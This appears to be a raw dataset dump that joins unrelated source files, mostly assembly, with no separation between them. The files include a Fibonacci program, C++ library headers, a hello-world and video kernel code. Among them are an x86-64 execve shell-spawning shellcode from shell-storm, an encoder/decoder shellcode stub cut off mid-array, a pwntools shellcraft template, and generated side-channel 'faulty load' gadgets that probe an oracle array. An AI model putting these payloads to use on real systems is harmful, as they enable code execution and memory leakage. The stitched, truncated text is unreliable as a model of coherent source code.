text
stringlengths
1
1.05M
; A082988: a(n)=sum(k=0,n,4^k*F(k)) where F(k) is the k-th Fibonacci number. ; 0,4,20,148,916,6036,38804,251796,1628052,10540948,68212628,441505684,2857424788,18493790100,119693957012,774676469652,5013809190804,32450060277652,210021188163476,1359285717096340,8797481879000980 lpb $0 mov $2,$0 sub $0,1 seq $2,103435 ; a(n) = 2^n * Fibonacci(n). add $1,$2 mul $1,2 lpe mov $0,$1
BITS 64 ; Original shellcode written by Dad` ; http://shell-storm.org/shellcode/files/shellcode-806.php global _start section .text _start: xor rax, rax mov r10, 0xff978cd091969dd0 not r10 push r10 mov rdi, rsp cdq ; rdx = 0 push rdx push rdi mov rsi, rsp mov al, 0x3b ; execve syscall
// Copyright (c) 2017-2021 Dr. Colin Hirsch and Daniel Frey // Please see LICENSE for license or visit https://github.com/taocpp/json/ #ifndef TAO_JSON_EVENTS_NON_FINITE_TO_EXCEPTION_HPP #define TAO_JSON_EVENTS_NON_FINITE_TO_EXCEPTION_HPP #include <cmath> #include <stdexcept> namespace tao::json::events { template< typename Consumer > struct non_finite_to_exception : Consumer { using Consumer::Consumer; using Consumer::number; void number( const double v ) { if( !std::isfinite( v ) ) { throw std::runtime_error( "invalid non-finite double value" ); } Consumer::number( v ); } }; } // namespace tao::json::events #endif
INCLUDE "config_private.inc" SECTION code_clib SECTION code_l_sdcc PUBLIC __mulsuchar_callee, __mulsuchar_callee_0 __mulsuchar_callee: ; 8-bit mixed multiply ; ; enter : stack = multiplicand (signed byte), multiplicand (byte), ret ; ; exit : hl = 16-bit product pop af pop hl push af ld e,h ; must promote to 16-bits __mulsuchar_callee_0: ld h,0 ld a,e add a,a sbc a,a ld d,a IF __CLIB_OPT_IMATH <= 50 EXTERN l_mulu_16_16x16 jp l_mulu_16_16x16 ENDIF IF __CLIB_OPT_IMATH > 50 EXTERN l_fast_muls_16_16x16 jp l_fast_muls_16_16x16 ENDIF
global _start section .text _start: jmp get_address decoder: pop rsi ; Pop the address of 'shellcode' into %rsi as our "source code" push 32 ; Length of the shellcode below pop rcx decode: dec byte [rsi] ; Perform the decrement "inplace" inc rsi ; Increment the address in %rsi by one loop decode jmp shellcode get_address: call decoder shellcode: db 0x49,0x32,0xc1,0x51,0x49,0xbc,0x30,0x63,0x6a,0x6f,0x30,0x30,0x74,0x69,0x54,0x49,0x8a,0xe8,0x51,0x49,0x8a,0xe3,0x58,0x49,0x8a,0xe7,0x49,0x84,0xc1,0x3c,0x10,0x6
.386 .model FLAT,C .stack 400h .code includelib libcmt.lib includelib legacy_stdio_definitions.lib extern printf:near extern exit:near public main main proc ; Print the message push offset message call printf ; Exit the program with status 0 push 0 call exit main endp .data message db "Hello, Computer Architect!",0 end
// Copyright (c) 2021 Hartmut Kaiser // // SPDX-License-Identifier: BSL-1.0 // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) #pragma once #include <pika/config.hpp> #include <cstddef> #include <memory> #if !defined(PIKA_HAVE_CXX17_MEMORY_RESOURCE) // fall back to Boost if memory_resource is not supported #include <boost/container/small_vector.hpp> namespace pika::detail { template <typename T, std::size_t Size, typename Allocator = std::allocator<T>> using small_vector = boost::container::small_vector<T, Size, Allocator>; } #else #include <initializer_list> #include <memory_resource> #include <utility> #include <vector> namespace pika::detail { /////////////////////////////////////////////////////////////////////////// template <typename Allocator> class allocator_memory_resource final : public std::pmr::memory_resource { public: explicit allocator_memory_resource(Allocator const& alloc) noexcept : allocator_(alloc) { } private: bool do_is_equal(memory_resource const& rhs) const noexcept override { return this == &rhs; } void* do_allocate(std::size_t count, std::size_t) override { return allocator_.allocate(count); } void do_deallocate( void* ptr, std::size_t count, std::size_t) noexcept override { using value_type = typename std::allocator_traits<Allocator>::value_type; return allocator_.deallocate(static_cast<value_type*>(ptr), count); } public: PIKA_NO_UNIQUE_ADDRESS Allocator allocator_; }; template <typename T, std::size_t Size, typename Allocator> struct memory_storage final { static_assert(Size > 0, "memory_storage::Size must be non-zero"); using buffer_resource_type = std::pmr::monotonic_buffer_resource; using allocator_type = std::pmr::polymorphic_allocator<T>; explicit memory_storage(Allocator const& alloc = Allocator()) noexcept( noexcept(Allocator())) : memory_() , resource_(alloc) , pool_( std::data(memory_), std::size(memory_) * sizeof(T), &resource_) , allocator_(&pool_) { } memory_storage(memory_storage const& rhs) : memory_() // data will be provided by small_vector ctor , resource_(rhs.resource_) , pool_( std::data(memory_), std::size(memory_) * sizeof(T), &resource_) , allocator_(&pool_) { } memory_storage(memory_storage&& rhs) noexcept : memory_() // data will be provided by small_vector ctor , resource_(PIKA_MOVE(rhs.resource_)) , pool_( std::data(memory_), std::size(memory_) * sizeof(T), &resource_) , allocator_(&pool_) { } // NOLINTNEXTLINE(bugprone-unhandled-self-assignment) memory_storage& operator=(memory_storage const& rhs) { // release all memory owned by the old instance allocator_.allocator_type::~allocator_type(); pool_.buffer_resource_type::~buffer_resource_type(); // no need to invoke: memory_ = rhs.memory_; as the data will // be provided by the small_vector::operator= below // copy allocator resource_ = rhs.resource_; // reconstruct the memory management infrastructure new (&pool_) buffer_resource_type( std::data(memory_), std::size(memory_) * sizeof(T), &resource_); new (&allocator_) allocator_type(&pool_); return *this; } // NOLINTNEXTLINE(bugprone-unhandled-self-assignment) memory_storage& operator=(memory_storage&& rhs) noexcept { // release all memory owned by the old instance allocator_.allocator_type::~allocator_type(); pool_.buffer_resource_type::~buffer_resource_type(); // no need to invoke: memory_ = rhs.memory_; as the data will // be provided by the small_vector::operator= below // move allocator resource_ = PIKA_MOVE(rhs.resource_); // reconstruct the memory management infrastructure new (&pool_) buffer_resource_type( std::data(memory_), std::size(memory_) * sizeof(T), &resource_); new (&allocator_) allocator_type(&pool_); return *this; } std::aligned_storage_t<sizeof(T), alignof(T)> memory_[Size]; allocator_memory_resource<Allocator> resource_; buffer_resource_type pool_; allocator_type allocator_; }; /////////////////////////////////////////////////////////////////////////// template <typename T, std::size_t Size, typename Allocator = std::allocator<T>> class small_vector { private: using other_allocator = typename std::allocator_traits<Allocator>::template rebind_alloc<T>; using storage_type = memory_storage<T, Size, other_allocator>; using data_type = std::pmr::vector<T>; public: using value_type = typename data_type::value_type; using allocator_type = other_allocator; using size_type = typename data_type::size_type; using difference_type = typename data_type::difference_type; using reference = typename data_type::reference; using const_reference = typename data_type::const_reference; using pointer = typename data_type::pointer; using const_pointer = typename data_type::const_pointer; using iterator = typename data_type::iterator; using const_iterator = typename data_type::const_iterator; using reverse_iterator = typename data_type::reverse_iterator; using const_reverse_iterator = typename data_type::const_reverse_iterator; static constexpr std::size_t static_capacity = Size; small_vector() noexcept(noexcept(allocator_type())) : storage_() , data_(storage_.allocator_) { data_.reserve(Size); } explicit small_vector(allocator_type const& alloc) noexcept : storage_(alloc) , data_(storage_.allocator_) { data_.reserve(Size); } explicit small_vector( size_type count, allocator_type const& alloc = allocator_type()) : storage_(alloc) , data_(count, storage_.allocator_) { } small_vector(size_type count, value_type const& value, allocator_type const& alloc = allocator_type()) : storage_(alloc) , data_(count, value, storage_.allocator_) { } small_vector(std::initializer_list<T> init_list, allocator_type const& alloc = allocator_type()) : storage_(alloc) , data_(std::cbegin(init_list), std::cend(init_list), storage_.allocator_) { } template <typename Iterator> small_vector(Iterator first, Iterator last, allocator_type const& alloc = allocator_type()) : storage_(alloc) , data_(first, last, storage_.allocator_) { } small_vector(small_vector const& rhs) : storage_(rhs.storage_) , data_(rhs.data_, storage_.allocator_) { } small_vector(small_vector&& rhs) noexcept : storage_(rhs.storage_) , data_(PIKA_MOVE(rhs.data_), storage_.allocator_) { } small_vector& operator=(small_vector const& rhs) { if (this != &rhs) { // free all data owned by the old instance data_.data_type::~data_type(); // reconstruct the memory management infrastructure for // the new instance storage_ = rhs.storage_; // fill the new instance with a copy of the rhs data new (&data_) data_type(rhs.data_, storage_.allocator_); } return *this; } small_vector& operator=(small_vector&& rhs) noexcept { if (this != &rhs) { // free all data owned by the old instance data_.data_type::~data_type(); // reconstruct the memory management infrastructure for // the new instance storage_ = PIKA_MOVE(rhs.storage_); // fill the new instance with the moved rhs data new (&data_) data_type(PIKA_MOVE(rhs.data_), storage_.allocator_); } return *this; } small_vector& operator=(std::initializer_list<T> init_list) { data_ = init_list; return *this; } allocator_type get_allocator() const noexcept { return storage_.resource_.allocator_; } void assign(size_type count, value_type const& value) { data_.assign(count, value); } template <typename Iterator> void assign(Iterator first, Iterator last) { data_.assign(first, last); } void assign(std::initializer_list<T> init_list) { data_.assign(init_list); } reference operator[](size_type pos) { return data_[pos]; } const_reference operator[](size_type pos) const { return data_[pos]; } reference at(size_type pos) { return data_.at(pos); } const_reference at(size_type pos) const { return data_.at(pos); } reference front() { return data_.front(); } const_reference front() const { return data_.front(); } reference back() { return data_.back(); } const_reference back() const { return data_.back(); } T* data() noexcept { return data_.data(); } T const* data() const noexcept { return data_.data(); } iterator begin() { return data_.begin(); } const_iterator begin() const { return data_.begin(); } const_iterator cbegin() const { return data_.cbegin(); } reverse_iterator rbegin() { return data_.rbegin(); } const_reverse_iterator rbegin() const { return data_.rbegin(); } const_reverse_iterator crbegin() const { return data_.crbegin(); } iterator end() { return data_.end(); } const_iterator end() const { return data_.end(); } const_iterator cend() const { return data_.cend(); } reverse_iterator rend() { return data_.rend(); } const_reverse_iterator rend() const { return data_.rend(); } const_reverse_iterator crend() const { return data_.crend(); } bool empty() const { return data_.empty(); } size_type size() const { return data_.size(); } size_type max_size() const { return data_.max_size(); } void reserve(std::size_t count) { data_.reserve(count); } size_type capacity() const { return data_.capacity(); } void shrink_to_fit() { data_.shrink_to_fit(); } void clear() noexcept { data_.clear(); } iterator insert(const_iterator pos, value_type const& value) { return data_.insert(pos, value); } iterator insert(const_iterator pos, value_type&& value) { return data_.insert(pos, PIKA_MOVE(value)); } iterator insert( const_iterator pos, size_type count, value_type const& value) { return data_.insert(pos, count, value); } template <typename Iterator> iterator insert(Iterator first, Iterator last) { return data_.insert(first, last); } template <typename Iterator> iterator insert(const_iterator pos, Iterator first, Iterator last) { return data_.insert(pos, first, last); } iterator insert(const_iterator pos, std::initializer_list<T> init_list) { return data_.insert(pos, init_list); } template <typename... Ts> iterator emplace(const_iterator pos, Ts&&... ts) { return data_.emplace(pos, PIKA_FORWARD(Ts, ts)...); } iterator erase(const_iterator pos) { return data_.erase(pos); } void push_back(value_type const& value) { data_.push_back(value); } void push_back(value_type&& value) { data_.push_back(PIKA_MOVE(value)); } template <typename... Ts> reference emplace_back(Ts&&... ts) { return data_.emplace_back(PIKA_FORWARD(Ts, ts)...); } void pop_back() { data_.pop_back(); } void resize(size_type count) { data_.resize(count); } void resize(size_type count, value_type const& value) { data_.resize(count, value); } void swap(small_vector& other) noexcept { // data.swap(other.data_); // explicitly move the objects as the MSVC standard library has a // bug preventing to swap two std::pmr::vectors small_vector tmp = PIKA_MOVE(*this); *this = PIKA_MOVE(other); other = PIKA_MOVE(tmp); } friend bool operator==(small_vector const& lhs, small_vector const& rhs) { return lhs.data_ == rhs.data_; } friend bool operator<(small_vector const& lhs, small_vector const& rhs) { return lhs.data_ < rhs.data_; } friend bool operator>(small_vector const& lhs, small_vector const& rhs) { return lhs.data_ > rhs.data_; } friend bool operator<=(small_vector const& lhs, small_vector const& rhs) { return lhs.data_ <= rhs.data_; } friend bool operator>=(small_vector const& lhs, small_vector const& rhs) { return lhs.data_ >= rhs.data_; } friend bool operator!=(small_vector const& lhs, small_vector const& rhs) { return lhs.data_ != rhs.data_; } private: storage_type storage_; data_type data_; }; } // namespace pika::detail namespace std { template <typename T, std::size_t Size, typename Allocator> void swap(pika::detail::small_vector<T, Size, Allocator>& lhs, pika::detail::small_vector<T, Size, Allocator>& rhs) { lhs.swap(rhs); } } // namespace std #endif
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x5384, %rsi lea addresses_UC_ht+0x184c4, %rdi clflush (%rdi) inc %rax mov $125, %rcx rep movsl dec %rbx lea addresses_normal_ht+0x170c4, %r8 clflush (%r8) nop dec %r10 mov $0x6162636465666768, %rdi movq %rdi, %xmm4 movups %xmm4, (%r8) nop inc %rbx lea addresses_D_ht+0x1ecd8, %rdi clflush (%rdi) sub $62939, %rsi movups (%rdi), %xmm5 vpextrq $1, %xmm5, %rbx nop nop nop nop add $56272, %rbx lea addresses_WT_ht+0x114c4, %rsi lea addresses_A_ht+0x14bc4, %rdi clflush (%rdi) nop nop nop sub $38036, %r8 mov $104, %rcx rep movsb nop nop nop nop nop xor $30635, %r8 lea addresses_normal_ht+0x3b04, %rdi nop nop nop nop sub $28219, %rax mov $0x6162636465666768, %r10 movq %r10, (%rdi) cmp %r8, %r8 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r15 push %r8 push %r9 push %rcx // Load lea addresses_normal+0xecc4, %r9 nop nop nop cmp %r12, %r12 movups (%r9), %xmm1 vpextrq $0, %xmm1, %r8 nop nop nop add %r12, %r12 // Load lea addresses_UC+0x1c4c4, %rcx nop nop add %r15, %r15 movb (%rcx), %r13b add $6539, %r13 // Store lea addresses_WC+0x15cc4, %r8 nop nop nop and $15984, %r12 movl $0x51525354, (%r8) nop add $40121, %r9 // Store lea addresses_WT+0x1dde0, %r13 clflush (%r13) nop nop nop nop nop dec %r15 movw $0x5152, (%r13) nop nop sub $49425, %r8 // Store lea addresses_D+0x7ec4, %r9 xor %r13, %r13 movw $0x5152, (%r9) nop nop xor $62841, %r11 // Store lea addresses_A+0x9fc4, %r13 dec %r11 mov $0x5152535455565758, %r15 movq %r15, %xmm7 movups %xmm7, (%r13) sub $26621, %r13 // Faulty Load lea addresses_normal+0xecc4, %rcx xor $4732, %r12 vmovups (%rcx), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r15 lea oracles, %r13 and $0xff, %r15 shlq $12, %r15 mov (%r13,%r15,1), %r15 pop %rcx pop %r9 pop %r8 pop %r15 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'34': 6629} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
/* * All Video Processing kernels * Copyright © <2010>, Intel Corporation. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sub license, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice (including the * next paragraph) shall be included in all copies or substantial portions * of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. * IN NO EVENT SHALL PRECISION INSIGHT AND/OR ITS SUPPLIERS BE LIABLE FOR * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * This file was originally licensed under the following license * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ ////////////////////////////////////////////////////////////////////////////////// // Multiple_Loop_Head.asm // This code sets up the loop control for multiple blocks per thread mul (1) wFRAME_ENDX:w ubBLK_CNT_X:ub 16:uw { NoDDClr } // Build multi-block loop counters mov (1) wNUM_BLKS:w ubNUM_BLKS:ub { NoDDClr, NoDDChk } // Copy num blocks to word variable mov (1) wCOPY_ORIX:w wORIX:w { NoDDChk } // Copy multi-block origin in pixel mov (2) fFRAME_VID_ORIX<1>:f fSRC_VID_H_ORI<4;2,2>:f // Copy src video origin for scaling, and alpha origin for blending add (1) wFRAME_ENDX:w wFRAME_ENDX:w wORIX:w // Continue building multi-block loop counters VIDEO_PROCESSING_LOOP: // Loop back entry point as the biginning of the loop for multiple blocks // Beginning of the loop
<% from pwnlib.shellcraft import arm, pretty, common %> <%page args="in_fd = 'r6', size = 0x800, allocate_stack = True"/> <%docstring> Reads to the stack from a directory. Args: in_fd (int/str): File descriptor to be read from. size (int): Buffer size. allocate_stack (bool): allocate 'size' bytes on the stack. You can optioanlly shave a few bytes not allocating the stack space. The size read is left in eax. </%docstring> <% getdents_loop = common.label('getdents_loop') %> %if allocate_stack: sub sp, sp, ${pretty(size)} %endif ${getdents_loop}: ${arm.linux.getdents(in_fd, 'sp', size)}
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r8 push %r9 push %rdi push %rsi // Load lea addresses_RW+0x1fcbd, %rdi nop nop cmp %r8, %r8 mov (%rdi), %r13d nop nop nop add $56158, %r9 // Store lea addresses_UC+0x1da5d, %rdi nop and %r8, %r8 mov $0x5152535455565758, %rsi movq %rsi, %xmm0 vmovups %ymm0, (%rdi) nop nop inc %r11 // Load lea addresses_D+0xa7bd, %rsi nop nop add %r14, %r14 vmovups (%rsi), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %r13 nop nop nop and %rdi, %rdi // Load lea addresses_PSE+0x5bd, %r8 nop nop nop and $20598, %rsi vmovups (%r8), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %r11 nop and %r9, %r9 // Faulty Load lea addresses_normal+0x16ebd, %r9 nop xor %r13, %r13 mov (%r9), %r14 lea oracles, %r8 and $0xff, %r14 shlq $12, %r14 mov (%r8,%r14,1), %r14 pop %rsi pop %rdi pop %r9 pop %r8 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_RW', 'same': False, 'size': 4, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_normal', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} <gen_prepare_buffer> {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
